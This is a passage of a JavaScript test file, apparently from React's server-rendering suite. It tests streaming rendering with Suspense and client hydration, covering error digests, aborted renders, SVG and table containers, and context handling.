expect(loggedErrors).toEqual([]);\n\n    const errors = [];\n    // Attempt to hydrate the content.\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n    await waitForAll([]);\n\n    // We're still loading because we're waiting for the server to stream more content.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    expect(loggedErrors).toEqual([]);\n\n    await act(() => {\n      rejectElement(theError);\n    });\n\n    expect(loggedErrors).toEqual([theError]);\n\n    // We haven't ran the client hydration yet.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    // Now we can client render it instead.\n    await waitForAll([]);\n\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering errored:\\n\\n' +\n            theError.message,\n          expectedDigest,\n          componentStack(['Suspense', 'div', 'App']),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n      ],\n    );\n\n    // The client rendered HTML is now in place.\n    // expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n\n    expect(loggedErrors).toEqual([theError]);\n  });\n\n  it('Errors in boundaries should be sent to the client and reported on client render - Error before flushing', async () => {\n    function Indirection({level, children}) {\n      if (level > 0) {\n        return <Indirection level={level - 1}>{children}</Indirection>;\n      }\n      return children;\n    }\n\n    const theError = new Error('uh oh');\n\n    function Erroring({isClient}) {\n      if (isClient) {\n        return 'Hello World';\n      }\n      throw theError;\n    }\n\n    function App({isClient}) {\n      return (\n        <div>\n          <Suspense fallback={<span>loading...</span>}>\n            <Indirection level={2}>\n              <Erroring isClient={isClient} />\n            </Indirection>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const loggedErrors = [];\n    function onError(x) {\n      loggedErrors.push(x);\n      return 'hash(' + x.message + ')';\n    }\n    const expectedDigest = onError(theError);\n    loggedErrors.length = 0;\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <App />,\n\n        {\n          onError,\n        },\n      );\n      pipe(writable);\n    });\n    expect(loggedErrors).toEqual([theError]);\n\n    const errors = [];\n    // Attempt to hydrate the content.\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n    await waitForAll([]);\n\n    expect(getVisibleChildren(container)).toEqual(<div>Hello World</div>);\n\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering errored:\\n\\n' +\n            theError.message,\n          expectedDigest,\n          componentStack([\n            'Erroring',\n            'Indirection',\n            'Indirection',\n            'Indirection',\n            'Suspense',\n            'div',\n            'App',\n          ]),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n      ],\n    );\n  });\n\n  it('Errors in boundaries should be sent to the client and reported on client render - Error after flushing', async () => {\n    let rejectComponent;\n    const LazyComponent = React.lazy(() => {\n      return new Promise((resolve, reject) => {\n        rejectComponent = reject;\n      });\n    });\n\n    function App({isClient}) {\n      return (\n        <div>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            {isClient ? <Text text=\"Hello\" /> : <LazyComponent text=\"Hello\" />}\n          </Suspense>\n        </div>\n      );\n    }\n\n    const loggedErrors = [];\n    const theError = new Error('uh oh');\n    function onError(x) {\n      loggedErrors.push(x);\n      return 'hash(' + x.message + ')';\n    }\n    const expectedDigest = onError(theError);\n    loggedErrors.length = 0;\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <App />,\n\n        {\n          onError,\n        },\n      );\n      pipe(writable);\n    });\n    expect(loggedErrors).toEqual([]);\n\n    const errors = [];\n    // Attempt to hydrate the content.\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n    await waitForAll([]);\n\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    await act(() => {\n      rejectComponent(theError);\n    });\n\n    expect(loggedErrors).toEqual([theError]);\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    // Now we can client render it instead.\n    await waitForAll([]);\n\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering errored:\\n\\n' +\n            theError.message,\n          expectedDigest,\n          componentStack(['Lazy', 'Suspense', 'div', 'App']),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n      ],\n    );\n\n    // The client rendered HTML is now in place.\n    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n    expect(loggedErrors).toEqual([theError]);\n  });\n\n  it('should asynchronously load the suspense boundary', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Hello World\" />\n          </Suspense>\n        </div>,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n    await act(() => {\n      resolveText('Hello World');\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>Hello World</div>);\n  });\n\n  it('waits for pending content to come in from the server and then hydrates it', async () => {\n    const ref = React.createRef();\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <h1 ref={ref}>\n              <AsyncText text=\"Hello\" />\n            </h1>\n          </Suspense>\n        </div>\n      );\n    }\n\n    let bootstrapped = false;\n    window.__INIT__ = function () {\n      bootstrapped = true;\n      // Attempt to hydrate the content.\n      ReactDOMClient.hydrateRoot(container, <App />);\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        bootstrapScriptContent: '__INIT__();',\n      });\n      pipe(writable);\n    });\n\n    // We're still showing a fallback.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    // We already bootstrapped.\n    expect(bootstrapped).toBe(true);\n\n    // Attempt to hydrate the content.\n    await waitForAll([]);\n\n    // We're still loading because we're waiting for the server to stream more content.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    // The server now updates the content in place in the fallback.\n    await act(() => {\n      resolveText('Hello');\n    });\n\n    // The final HTML is now in place.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>Hello</h1>\n      </div>,\n    );\n    const h1 = container.getElementsByTagName('h1')[0];\n\n    // But it is not yet hydrated.\n    expect(ref.current).toBe(null);\n\n    await waitForAll([]);\n\n    // Now it's hydrated.\n    expect(ref.current).toBe(h1);\n  });\n\n  it('handles an error on the client if the server ends up erroring', async () => {\n    const ref = React.createRef();\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <b ref={ref}>{this.state.error.message}</b>;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <div>\n            <Suspense fallback=\"Loading...\">\n              <span ref={ref}>\n                <AsyncText text=\"This Errors\" />\n              </span>\n            </Suspense>\n          </div>\n        </ErrorBoundary>\n      );\n    }\n\n    const loggedErrors = [];\n\n    // We originally suspend the boundary and start streaming the loading state.\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <App />,\n\n        {\n          onError(x) {\n            loggedErrors.push(x);\n          },\n        },\n      );\n      pipe(writable);\n    });\n\n    // We're still showing a fallback.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    expect(loggedErrors).toEqual([]);\n\n    // Attempt to hydrate the content.\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    // We're still loading because we're waiting for the server to stream more content.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n\n    const theError = new Error('Error Message');\n    await act(() => {\n      rejectText('This Errors', theError);\n    });\n\n    expect(loggedErrors).toEqual([theError]);\n\n    // The server errored, but we still haven't hydrated. We don't know if the\n    // client will succeed yet, so we still show the loading state.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n    expect(ref.current).toBe(null);\n\n    // Flush the hydration.\n    await waitForAll([]);\n\n    // Hydrating should've generated an error and replaced the suspense boundary.\n    expect(getVisibleChildren(container)).toEqual(<b>Error Message</b>);\n\n    const b = container.getElementsByTagName('b')[0];\n    expect(ref.current).toBe(b);\n  });\n\n  // @gate enableSuspenseList\n  it('shows inserted items before pending in a SuspenseList as fallbacks while hydrating', async () => {\n    const ref = React.createRef();\n\n    // These are hoisted to avoid them from rerendering.\n    const a = (\n      <Suspense fallback=\"Loading A\">\n        <span ref={ref}>\n          <AsyncText text=\"A\" />\n        </span>\n      </Suspense>\n    );\n    const b = (\n      <Suspense fallback=\"Loading B\">\n        <span>\n          <Text text=\"B\" />\n        </span>\n      </Suspense>\n    );\n\n    function App({showMore}) {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            {a}\n            {b}\n            {showMore ? (\n              <Suspense fallback=\"Loading C\">\n                <span>C</span>\n              </Suspense>\n            ) : null}\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    // We originally suspend the boundary and start streaming the loading state.\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App showMore={false} />);\n      pipe(writable);\n    });\n\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App showMore={false} />,\n    );\n    await waitForAll([]);\n\n    // We're not hydrated yet.\n    expect(ref.current).toBe(null);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        {'Loading A'}\n        {'Loading B'}\n      </div>,\n    );\n\n    // Add more rows before we've hydrated the first two.\n    root.render(<App showMore={true} />);\n    await waitForAll([]);\n\n    // We're not hydrated yet.\n    expect(ref.current).toBe(null);\n\n    // We haven't resolved yet.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        {'Loading A'}\n        {'Loading B'}\n        {'Loading C'}\n      </div>,\n    );\n\n    await act(async () => {\n      await resolveText('A');\n    });\n\n    await waitForAll([]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(ref.current).toBe(span);\n  });\n\n  it('client renders a boundary if it does not resolve before aborting', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <h1>\n              <AsyncText text=\"Hello\" />\n            </h1>\n          </Suspense>\n          <main>\n            <Suspense fallback=\"loading...\">\n              <AsyncText text=\"World\" />\n            </Suspense>\n          </main>\n        </div>\n      );\n    }\n\n    const loggedErrors = [];\n    const expectedDigest = 'Hash for Abort';\n    function onError(error) {\n      loggedErrors.push(error);\n      return expectedDigest;\n    }\n\n    let controls;\n    await act(() => {\n      controls = renderToPipeableStream(<App />, {onError});\n      controls.pipe(writable);\n    });\n\n    // We're still showing a fallback.\n\n    const errors = [];\n    // Attempt to hydrate the content.\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n    await waitForAll([]);\n\n    // We're still loading because we're waiting for the server to stream more content.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        Loading...<main>loading...</main>\n      </div>,\n    );\n\n    // We abort the server response.\n    await act(() => {\n      controls.abort();\n    });\n\n    // We still can't render it on the client.\n    await waitForAll([]);\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n            'The render was aborted by the server without a reason.',\n          expectedDigest,\n          // We get the stack of the task when it was aborted which is why we see `h1`\n          componentStack(['AsyncText', 'h1', 'Suspense', 'div', 'App']),\n        ],\n        [\n          'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n            'The render was aborted by the server without a reason.',\n          expectedDigest,\n          componentStack(['AsyncText', 'Suspense', 'main', 'div', 'App']),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n      ],\n    );\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        Loading...<main>loading...</main>\n      </div>,\n    );\n\n    // We now resolve it on the client.\n    await clientAct(() => {\n      resolveText('Hello');\n      resolveText('World');\n    });\n    assertLog([]);\n\n    // The client rendered HTML is now in place.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <h1>Hello</h1>\n        <main>World</main>\n      </div>,\n    );\n  });\n\n  it('should allow for two containers to be written to the same document', async () => {\n    // We create two passthrough streams for each container to write into.\n    // Notably we don't implement a end() call for these. Because we don't want to\n    // close the underlying stream just because one of the streams is done. Instead\n    // we manually close when both are done.\n    const writableA = new Stream.Writable();\n    writableA._write = (chunk, encoding, next) => {\n      writable.write(chunk, encoding, next);\n    };\n    const writableB = new Stream.Writable();\n    writableB._write = (chunk, encoding, next) => {\n      writable.write(chunk, encoding, next);\n    };\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        // We use two nested boundaries to flush out coverage of an old reentrancy bug.\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Suspense fallback={<Text text=\"Loading A...\" />}>\n              <>\n                <Text text=\"This will show A: \" />\n                <div>\n                  <AsyncText text=\"A\" />\n                </div>\n              </>\n            </Suspense>\n          </Suspense>\n        </div>,\n        {\n          identifierPrefix: 'A_',\n          onShellReady() {\n            writableA.write('<div id=\"container-A\">');\n            pipe(writableA);\n            writableA.write('</div>');\n          },\n        },\n      );\n    });\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Suspense fallback={<Text text=\"Loading B...\" />}>\n            <Text text=\"This will show B: \" />\n            <div>\n              <AsyncText text=\"B\" />\n            </div>\n          </Suspense>\n        </div>,\n        {\n          identifierPrefix: 'B_',\n          onShellReady() {\n            writableB.write('<div id=\"container-B\">');\n            pipe(writableB);\n            writableB.write('</div>');\n          },\n        },\n      );\n    });\n\n    expect(getVisibleChildren(container)).toEqual([\n      <div id=\"container-A\">\n        <div>Loading A...</div>\n      </div>,\n      <div id=\"container-B\">\n        <div>Loading B...</div>\n      </div>,\n    ]);\n\n    await act(() => {\n      resolveText('B');\n    });\n\n    expect(getVisibleChildren(container)).toEqual([\n      <div id=\"container-A\">\n        <div>Loading A...</div>\n      </div>,\n      <div id=\"container-B\">\n        <div>\n          This will show B: <div>B</div>\n        </div>\n      </div>,\n    ]);\n\n    await act(() => {\n      resolveText('A');\n    });\n\n    // We're done writing both streams now.\n    writable.end();\n\n    expect(getVisibleChildren(container)).toEqual([\n      <div id=\"container-A\">\n        <div>\n          This will show A: <div>A</div>\n        </div>\n      </div>,\n      <div id=\"container-B\">\n        <div>\n          This will show B: <div>B</div>\n        </div>\n      </div>,\n    ]);\n  });\n\n  it('can resolve async content in esoteric parents', async () => {\n    function AsyncOption({text}) {\n      return <option>{readText(text)}</option>;\n    }\n\n    function AsyncCol({className}) {\n      return <col className={readText(className)} />;\n    }\n\n    function AsyncPath({id}) {\n      return <path id={readText(id)} />;\n    }\n\n    function AsyncMi({id}) {\n      return <mi id={readText(id)} />;\n    }\n\n    function App() {\n      return (\n        <div>\n          <select>\n            <Suspense fallback=\"Loading...\">\n              <AsyncOption text=\"Hello\" />\n            </Suspense>\n          </select>\n          <Suspense fallback=\"Loading...\">\n            <table>\n              <colgroup>\n                <AsyncCol className=\"World\" />\n              </colgroup>\n            </table>\n            <svg>\n              <g>\n                <AsyncPath id=\"my-path\" />\n              </g>\n            </svg>\n            <math>\n              <AsyncMi id=\"my-mi\" />\n            </math>\n          </Suspense>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <select>Loading...</select>Loading...\n      </div>,\n    );\n\n    await act(() => {\n      resolveText('Hello');\n    });\n\n    await act(() => {\n      resolveText('World');\n    });\n\n    await act(() => {\n      resolveText('my-path');\n      resolveText('my-mi');\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <select>\n          <option>Hello</option>\n        </select>\n        <table>\n          <colgroup>\n            <col class=\"World\" />\n          </colgroup>\n        </table>\n        <svg>\n          <g>\n            <path id=\"my-path\" />\n          </g>\n        </svg>\n        <math>\n          <mi id=\"my-mi\" />\n        </math>\n      </div>,\n    );\n\n    expect(container.querySelector('#my-path').namespaceURI).toBe(\n      'http://www.w3.org/2000/svg',\n    );\n    expect(container.querySelector('#my-mi').namespaceURI).toBe(\n      'http://www.w3.org/1998/Math/MathML',\n    );\n  });\n\n  it('can resolve async content in table parents', async () => {\n    function AsyncTableBody({className, children}) {\n      return <tbody className={readText(className)}>{children}</tbody>;\n    }\n\n    function AsyncTableRow({className, children}) {\n      return <tr className={readText(className)}>{children}</tr>;\n    }\n\n    function AsyncTableCell({text}) {\n      return <td>{readText(text)}</td>;\n    }\n\n    function App() {\n      return (\n        <table>\n          <Suspense\n            fallback={\n              <tbody>\n                <tr>\n                  <td>Loading...</td>\n                </tr>\n              </tbody>\n            }>\n            <AsyncTableBody className=\"A\">\n              <AsyncTableRow className=\"B\">\n                <AsyncTableCell text=\"C\" />\n              </AsyncTableRow>\n            </AsyncTableBody>\n          </Suspense>\n        </table>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <table>\n        <tbody>\n          <tr>\n            <td>Loading...</td>\n          </tr>\n        </tbody>\n      </table>,\n    );\n\n    await act(() => {\n      resolveText('A');\n    });\n\n    await act(() => {\n      resolveText('B');\n    });\n\n    await act(() => {\n      resolveText('C');\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <table>\n        <tbody class=\"A\">\n          <tr class=\"B\">\n            <td>C</td>\n          </tr>\n        </tbody>\n      </table>,\n    );\n  });\n\n  it('can stream into an SVG container', async () => {\n    function AsyncPath({id}) {\n      return <path id={readText(id)} />;\n    }\n\n    function App() {\n      return (\n        <g>\n          <Suspense fallback={<text>Loading...</text>}>\n            <AsyncPath id=\"my-path\" />\n          </Suspense>\n        </g>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <App />,\n\n        {\n          namespaceURI: 'http://www.w3.org/2000/svg',\n          onShellReady() {\n            writable.write('<svg>');\n            pipe(writable);\n            writable.write('</svg>');\n          },\n        },\n      );\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <svg>\n        <g>\n          <text>Loading...</text>\n        </g>\n      </svg>,\n    );\n\n    await act(() => {\n      resolveText('my-path');\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <svg>\n        <g>\n          <path id=\"my-path\" />\n        </g>\n      </svg>,\n    );\n\n    expect(container.querySelector('#my-path').namespaceURI).toBe(\n      'http://www.w3.org/2000/svg',\n    );\n  });\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      String(str).replace(/\\n +(?:at|in) ([^\\(]+) [^\\n]*/g, function (m, name) {\n        return '\\n    in ' + name + ' (at **)';\n      })\n    );\n  }\n\n  it('should include a component stack across suspended boundaries', async () => {\n    function B() {\n      const children = [readText('Hello'), readText('World')];\n      // Intentionally trigger a key warning here.\n      return (\n        <div>\n          {children.map(function mapper(t) {\n            return <span>{t}</span>;\n          })}\n        </div>\n      );\n    }\n    function C() {\n      return (\n        <inCorrectTag>\n          <Text text=\"Loading\" />\n        </inCorrectTag>\n      );\n    }\n    function A() {\n      return (\n        <div>\n          <Suspense fallback={<C />}>\n            <B />\n          </Suspense>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<A />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <incorrecttag>Loading</incorrecttag>\n      </div>,\n    );\n\n    assertConsoleErrorDev([\n      '<inCorrectTag /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.' +\n        '\\n' +\n        '    in inCorrectTag (at **)\\n' +\n        '    in C (at **)\\n' +\n        '    in A (at **)',\n    ]);\n\n    await act(() => {\n      resolveText('Hello');\n      resolveText('World');\n    });\n\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\nCheck the render method of `B`.' +\n        ' See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in mapper (at **)\\n' +\n        '    in Array.map (at **)\\n' +\n        '    in B (at **)\\n' +\n        '    in A (at **)',\n    ]);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>\n          <span>Hello</span>\n          <span>World</span>\n        </div>\n      </div>,\n    );\n  });\n\n  // @gate !disableLegacyContext\n  it('should can suspend in a class component with legacy context', async () => {\n    class TestProvider extends React.Component {\n      static childContextTypes = {\n        test: PropTypes.string,\n      };\n      state = {ctxToSet: null};\n      static getDerivedStateFromProps(props, state) {\n        return {ctxToSet: props.ctx};\n      }\n      getChildContext() {\n        return {\n          test: this.state.ctxToSet,\n        };\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    class TestConsumer extends React.Component {\n      static contextTypes = {\n        test: PropTypes.string,\n      };\n      render() {\n        const child = (\n          <b>\n            <Text text={this.context.test} />\n          </b>\n        );\n        if (this.props.prefix) {\n          return (\n            <>\n              {readText(this.props.prefix)}\n              {child}\n            </>\n          );\n        }\n        return child;\n      }\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <TestProvider ctx=\"A\">\n          <div>\n            <Suspense\n              fallback={\n                <>\n                  <Text text=\"Loading: \" />\n                  <TestConsumer />\n                </>\n              }>\n              <TestProvider ctx=\"B\">\n                <TestConsumer prefix=\"Hello: \" />\n              </TestProvider>\n              <TestConsumer />\n            </Suspense>\n          </div>\n        </TestProvider>,\n      );\n      pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'TestProvider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in TestProvider (at **)',\n      'TestConsumer uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in TestConsumer (at **)',\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        Loading: <b>A</b>\n      </div>,\n    );\n    await act(() => {\n      resolveText('Hello: ');\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        Hello: <b>B</b>\n        <b>A</b>\n      </div>,\n    );\n  });\n\n  it('should resume the context from where it left off', async () => {\n    const ContextA = React.createContext('A0');\n    const ContextB = React.createContext('B0');\n\n    function PrintA() {\n      return (\n        <ContextA.Consumer>{value => <Text text={value} />}</ContextA.Consumer>\n      );\n    }\n\n    class PrintB extends React.Component {\n      static contextType = ContextB;\n      render() {\n        return <Text text={this.context} />;\n      }\n    }\n\n    function AsyncParent({text, children}) {\n      return (\n        <>\n          <AsyncText text={text} />\n          <b>{children}</b>\n        </>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <PrintA />\n          <div>\n            <ContextA.Provider value=\"A0.1\">\n              <Suspense fallback={<Text text=\"Loading...\" />}>\n                <AsyncParent text=\"Child:\">\n                  <PrintA />\n                </AsyncParent>\n                <PrintB />\n              </Suspense>\n            </ContextA.Provider>\n          </div>\n          <PrintA />\n        </div>,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        A0<div>Loading...</div>A0\n      </div>,\n    );\n    await act(() => {\n      resolveText('Child:');\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        A0\n        <div>\n          Child:<b>A0.1</b>B0\n        </div>\n        A0\n      </div>,\n    );\n  });\n\n  it('should recover the outer context when an error happens inside a provider', async () => {\n    const ContextA = React.createContext('A0');\n    const ContextB = React.createContext('B0');\n\n    function PrintA() {\n      return (\n        <ContextA.Consumer>{value => <Text text={value} />}</ContextA.Consumer>\n      );\n    }\n\n    class PrintB extends React.Component {\n      static contextType = ContextB;\n      render() {\n        return <Text text={this.context} />;\n      }\n    }\n\n    function Throws() {\n      const value = React.useContext(ContextA);\n      throw new Error(value);\n    }\n\n    const loggedErrors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <PrintA />\n          <div>\n            <ContextA.Provider value=\"A0.1\">\n              <Suspense\n                fallback={\n                  <b>\n                    <Text text=\"Loading...\" />\n                  </b>\n                }>\n                <ContextA.Provider value=\"A0.1.1\">\n                  <Throws />\n                </ContextA.Provider>\n              </Suspense>\n              <PrintB />\n            </ContextA.Provider>\n          </div>\n          <PrintA />\n        </div>,\n\n        {\n          onError(x) {\n            loggedErrors.push(x);\n          },\n        },\n      );\n      pipe(writable);\n    });\n    expect(loggedErrors.length).toBe(1);\n    expect(loggedErrors[0].message).toEqual('A0.1.1');\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        A0\n        <div>\n          <b>Loading...</b>B0\n        </div>\n        A0\n      </div>,\n    );\n  });\n\n  it('client renders a boundary if it errors before finishing the fallback', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading root...\">\n            <div>\n              <Suspense fallback={<AsyncText text=\"Loading...\" />}>\n                <h1>\n                  {isClient ? (\n                    <Text text=\"Hello\" />\n                  ) : (\n                    <AsyncText text=\"Hello\" />\n                  )}\n                </h1>\n              </Suspense>\n            </div>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const theError = new Error('Test');\n    const loggedErrors = [];\n    function onError(x) {\n      loggedErrors.push(x);\n      return `hash of (${x.message})`;\n    }\n    const expectedDigest = onError(theError);\n    loggedErrors.length = 0;\n\n    let controls;\n    await act(() => {\n      controls = renderToPipeableStream(\n        <App isClient={false} />,\n\n        {\n          onError,\n        },\n      );\n      controls.pipe(writable);\n    });\n\n    // We're still showing a fallback.\n\n    const errors = [];\n    // Attempt to hydrate the content.\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n    await waitForAll([]);\n\n    // We're still loading because we're waiting for the server to stream more content.\n    expect(getVisibleChildren(container)).toEqual(<div>Loading root...</div>);\n\n    expect(loggedErrors).toEqual([]);\n\n    // Error the content, but we don't have a fallback yet.\n    await act(() => {\n      rejectText('Hello', theError);\n    });\n\n    expect(loggedErrors).toEqual([theError]);\n\n    // We still can't render it on the client because we haven't unblocked the parent.\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(<div>Loading root...</div>);\n\n    // Unblock the loading state\n    await act(() => {\n      resolveText('Loading...');\n    });\n\n    // Now we're able to show the inner boundary.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Loading...</div>\n      </div>,\n    );\n\n    // That will let us client render it instead.\n    await waitForAll([]);\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering errored:\\n\\n' +\n            theError.message,\n          expectedDigest,\n          componentStack([\n            'AsyncText',\n            'h1',\n            'Suspense',\n            'div',\n            'Suspense',\n            'div',\n            'App',\n          ]),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          expectedDigest,\n        ],\n      ],\n    );\n\n    // The client rendered HTML is now in place.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>\n          <h1>Hello</h1>\n        </div>\n      </div>,\n    );\n\n    expect(loggedErrors).toEqual([theError]);\n  });\n\n  it('should be able to abort the fallback if the main content finishes first', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Suspense fallback={<Text text=\"Loading Outer\" />}>\n            <div>\n              <Suspense\n                fallback={\n                  <div>\n                    <AsyncText text=\"Loading\" />\n                    Inner\n                  </div>\n                }>\n                <AsyncText text=\"Hello\" />\n              </Suspense>\n            </div>\n          </Suspense>\n        </div>,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>Loading Outer</div>);\n    // We should have received a partial segment containing the a partial of the fallback.\n    expect(container.innerHTML).toContain('Inner');\n    await act(() => {\n      resolveText('Hello');\n    });\n    // We should've been able to display the content without waiting for the rest of the fallback.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>Hello</div>\n      </div>,\n    );\n  });\n\n  it('calls getServerSnapshot instead of getSnapshot', async () => {\n    const ref = React.createRef();\n\n    function getServerSnapshot() {\n      return 'server';\n    }\n\n    function getClientSnapshot() {\n      return 'client';\n    }\n\n    function subscribe() {\n      return () => {};\n    }\n\n    function Child({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    function App() {\n      const value = useSyncExternalStore(\n        subscribe,\n        getClientSnapshot,\n        getServerSnapshot,\n      );\n      return (\n        <div ref={ref}>\n          <Child text={value} />\n        </div>\n      );\n    }\n\n    const loggedErrors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <Suspense fallback=\"Loading...\">\n          <App />\n        </Suspense>,\n        {\n          onError(x) {\n            loggedErrors.push(x);\n          },\n        },\n      );\n      pipe(writable);\n    });\n    assertLog(['server']);\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        